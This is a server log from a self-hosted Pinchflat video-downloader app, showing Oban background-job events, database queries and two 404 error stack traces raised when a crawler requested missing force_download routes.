{"source":"oban","duration":328,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:57:13.738 [info] {"source":"oban","duration":1172,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:57:43.740 [info] {"source":"oban","duration":933,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:58:00.567 [info] {"source":"oban","duration":709,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:58:13.742 [info] {"source":"oban","duration":1048,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:58:43.744 [info] {"source":"oban","duration":904,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:59:00.569 [info] {"source":"oban","duration":1494,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:59:13.746 [info] {"source":"oban","duration":1583,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:59:43.748 [info] {"source":"oban","duration":1043,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:59:45.616 [info] GET / 04:59:45.621 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 04:59:45.634 [debug] QUERY OK source="settings" db=2.4ms idle=848.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:59:45.669 [debug] QUERY OK source="media_profiles" db=27.1ms queue=0.1ms idle=860.6ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 04:59:45.687 [debug] QUERY OK source="sources" db=17.2ms idle=889.5ms SELECT count(s0."id") FROM "sources" AS s0 [] 04:59:45.700 [debug] QUERY OK source="media_items" db=11.9ms idle=907.8ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 04:59:45.704 [debug] QUERY OK source="media_items" db=2.8ms idle=871.4ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 04:59:45.728 [debug] QUERY OK source="settings" db=0.6ms queue=0.1ms idle=95.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:59:45.735 [debug] QUERY OK source="settings" db=6.0ms queue=0.8ms idle=60.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:59:45.760 [debug] QUERY OK source="settings" db=1.4ms queue=0.1ms idle=71.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:59:45.805 [debug] QUERY OK source="tasks" db=2.3ms queue=0.1ms idle=102.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 04:59:45.826 [debug] QUERY OK source="media_items" db=0.3ms idle=121.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 04:59:45.879 [debug] QUERY OK source="media_items" db=51.1ms queue=0.7ms idle=99.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 04:59:45.884 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=123.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 04:59:45.910 [debug] QUERY OK source="media_items" db=1.9ms idle=103.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 04:59:46.449 [debug] QUERY OK source="media_items" db=538.1ms idle=85.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 04:59:46.465 [info] Sent 200 in 852ms 05:00:00.903 [info] {"source":"oban","duration":331207,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[2224]} 05:00:01.062 [info] {"args":{},"id":2224,"meta":{"cron":true,"cron_expr":"0 2 * * *","cron_tz":"Etc/UTC"},"system_time":1765332001055550890,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaQualityUpgradeWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 05:00:01.095 [debug] QUERY OK source="media_items" db=26.8ms queue=0.6ms idle=1173.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((NOT (m0."media_filepath" IS NULL) AND NOT (m0."prevent_download" = 1)) AND NOT (NOT (m0."media_redownloaded_at" IS NULL))) AND IFNULL(redownload_delay_days, 0) > 0 AND DATE('now', '-' || redownload_delay_days || ' day') > DATE(uploaded_at) AND DATE(media_downloaded_at, '-' || redownload_delay_days || ' day') < DATE(uploaded_at) ) [] 05:00:01.095 [info] Redownloading 0 media items 05:00:01.148 [info] {"args":{},"id":2224,"meta":{"cron":true,"cron_expr":"0 2 * * *","cron_tz":"Etc/UTC"},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaQualityUpgradeWorker","source":"oban","duration":40456,"event":"job:stop","attempt":1,"queue_time":805771,"tags":["media_item","media_fetching","show_in_dashboard"]} 05:00:13.836 [info] {"source":"oban","duration":87357,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:00:43.839 [info] {"source":"oban","duration":1750,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:00:51.896 [info] GET /sources/6/media/76348/edit 05:00:51.899 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "76348", "source_id" => "6"} Pipelines: [:browser] 05:00:51.901 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=1115.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [76348] 05:00:52.029 [debug] QUERY OK source="settings" db=122.1ms queue=0.1ms idle=1121.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:00:52.031 [debug] QUERY OK source="settings" db=1.5ms idle=874.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:00:52.036 [debug] QUERY OK source="settings" db=0.5ms queue=0.3ms idle=249.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:00:52.051 [info] Sent 200 in 154ms 05:01:00.910 [info] {"source":"oban","duration":5482,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:01:13.841 [info] {"source":"oban","duration":977,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:01:43.844 [info] {"source":"oban","duration":2385,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:01:52.844 [info] GET /media/c2b1db72-cedf-4d6c-9d9a-35004cb2252d/stream 05:01:52.844 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "c2b1db72-cedf-4d6c-9d9a-35004cb2252d"} Pipelines: [:maybe_basic_auth] 05:01:53.258 [debug] QUERY OK source="media_items" db=409.3ms queue=1.0ms idle=1059.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["c2b1db72-cedf-4d6c-9d9a-35004cb2252d"] 05:01:54.147 [debug] Invalid range request for media item: c2b1db72-cedf-4d6c-9d9a-35004cb2252d - serving full file 05:01:54.148 [info] Sent 200 in 1303ms 05:02:00.912 [info] {"source":"oban","duration":404,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:02:12.968 [info] GET /sources/6/media/76348/force_download 05:02:12.971 [info] GET /sources/6/media/76376/force_download 05:02:12.978 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=261.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:02:12.979 [debug] QUERY OK source="settings" db=1.0ms idle=262.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:02:12.980 [debug] QUERY OK source="settings" db=0.5ms idle=264.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:02:12.981 [debug] QUERY OK source="settings" db=0.8ms idle=264.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:02:12.984 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 05:02:12.984 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 05:02:12.988 [error] #PID<0.14104.0> running PinchflatWeb.Endpoint (connection #PID<0.14103.0>, stream id 1) terminated Server: rutube.spluft.ru:80 (http) Request: GET /sources/6/media/76376/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/6/media/76376/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.14103.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/6/media/76376/force_download", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 25248}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "rutube.spluft.ru", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "via" => "2.0 Caddy", "x-forwarded-for" => "216.73.216.121", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "rutube.spluft.ru", method: "GET", owner: #PID<0.14104.0>, params: %{}, path_info: ["sources", "6", "media", "76376", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://rutube.spluft.ru", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "rutube.spluft.ru"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"via", "2.0 Caddy"}, {"x-forwarded-for", "216.73.216.121"}, {"x-forwarded-host", "rutube.spluft.ru"}, {"x-forwarded-proto", "https"} ], request_path: "/sources/6/media/76376/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GH-4OMhW9jU-npYAAOFh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.14103.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/6/media/76376/force_download", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 25248}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "rutube.spluft.ru", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "via" => "2.0 Caddy", "x-forwarded-for" => "216.73.216.121", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/6/media/76376/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.14103.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/6/media/76376/force_download", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 25248}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "rutube.spluft.ru", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "via" => "2.0 Caddy", "x-forwarded-for" => "216.73.216.121", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "rutube.spluft.ru", method: "GET", owner: #PID<0.14104.0>, params: %{}, path_info: ["sources", "6", "media", "76376", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://rutube.spluft.ru", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "rutube.spluft.ru"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"via", "2.0 Caddy"}, {"x-forwarded-for", "216.73.216.121"}, {"x-forwarded-host", "rutube.spluft.ru"}, {"x-forwarded-proto", "https"} ], request_path: "/sources/6/media/76376/force_download", r (truncated) 05:02:12.988 [error] #PID<0.14102.0> running PinchflatWeb.Endpoint (connection #PID<0.14101.0>, stream id 1) terminated Server: rutube.spluft.ru:80 (http) Request: GET /sources/6/media/76348/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/6/media/76348/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.14101.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/6/media/76348/force_download", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 10188}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "rutube.spluft.ru", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "via" => "2.0 Caddy", "x-forwarded-for" => "216.73.216.121", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "rutube.spluft.ru", method: "GET", owner: #PID<0.14102.0>, params: %{}, path_info: ["sources", "6", "media", "76348", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://rutube.spluft.ru", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "rutube.spluft.ru"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"via", "2.0 Caddy"}, {"x-forwarded-for", "216.73.216.121"}, {"x-forwarded-host", "rutube.spluft.ru"}, {"x-forwarded-proto", "https"} ], request_path: "/sources/6/media/76348/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GH-4OMgo5erHB4EAAKhi"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.14101.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/6/media/76348/force_download", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 10188}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "rutube.spluft.ru", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "via" => "2.0 Caddy", "x-forwarded-for" => "216.73.216.121", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/6/media/76348/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.14101.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/6/media/76348/force_download", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 10188}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "rutube.spluft.ru", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "via" => "2.0 Caddy", "x-forwarded-for" => "216.73.216.121", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "rutube.spluft.ru", method: "GET", owner: #PID<0.14102.0>, params: %{}, path_info: ["sources", "6", "media", "76348", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://rutube.spluft.ru", 